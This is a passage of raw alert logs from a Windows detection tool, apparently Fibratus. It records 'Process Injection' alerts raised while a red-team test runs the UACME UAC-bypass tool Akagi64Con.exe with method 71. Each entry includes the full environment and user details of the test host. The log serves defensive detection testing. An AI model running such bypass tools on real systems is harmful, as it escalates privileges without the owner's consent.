_NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T16:00:48+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\wsdl\5f5cbf031ee1c800fc7d6705e5311ca1\wsdl.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 11022793 + Pid: 1000 + Tid: 12900 + Type: LoadImage + CPU: 6 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:54.9411922 +0100 CET + Params: base_address➜ 7ffcd66f0000, checksum➜ 0, default_address➜ 7ffcd66f0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\wsdl\5f5cbf031ee1c800fc7d6705e5311ca1\wsdl.ni.exe, image_size➜ 188416, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 1000, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.name: .NET assembly loaded by unmanaged process, tactic.name: Defense Evasion, technique.name: Process Injection, rule.seq.link: 9665569474375319552, tactic.id: TA0005 + + Pid: 1000 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T16:00:48+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\xsd\c798035583c134c9611ab5edbc5598c8\xsd.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 11022820 + Pid: 1000 + Tid: 12900 + Type: LoadImage + CPU: 4 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:54.9457443 +0100 CET + Params: base_address➜ 7ffcd66f0000, checksum➜ 0, default_address➜ 7ffcd66f0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\xsd\c798035583c134c9611ab5edbc5598c8\xsd.ni.exe, image_size➜ 167936, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 1000, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.seq.link: 9665569474375319552, rule.name: .NET assembly loaded by unmanaged process, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/ + + Pid: 1000 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T16:00:48+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\xsd\c798035583c134c9611ab5edbc5598c8\xsd.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 11022820 + Pid: 1000 + Tid: 12900 + Type: LoadImage + CPU: 4 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:54.9457443 +0100 CET + Params: base_address➜ 7ffcd66f0000, checksum➜ 0, default_address➜ 7ffcd66f0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\xsd\c798035583c134c9611ab5edbc5598c8\xsd.ni.exe, image_size➜ 167936, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 1000, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.name: Process Injection, tactic.id: TA0005, tactic.name: Defense Evasion, rule.seq.link: 9665569474375319552, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.ref: https://attack.mitre.org/tactics/TA0005/, rule.name: .NET assembly loaded by unmanaged process, technique.id: T1055 + + Pid: 1000 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows 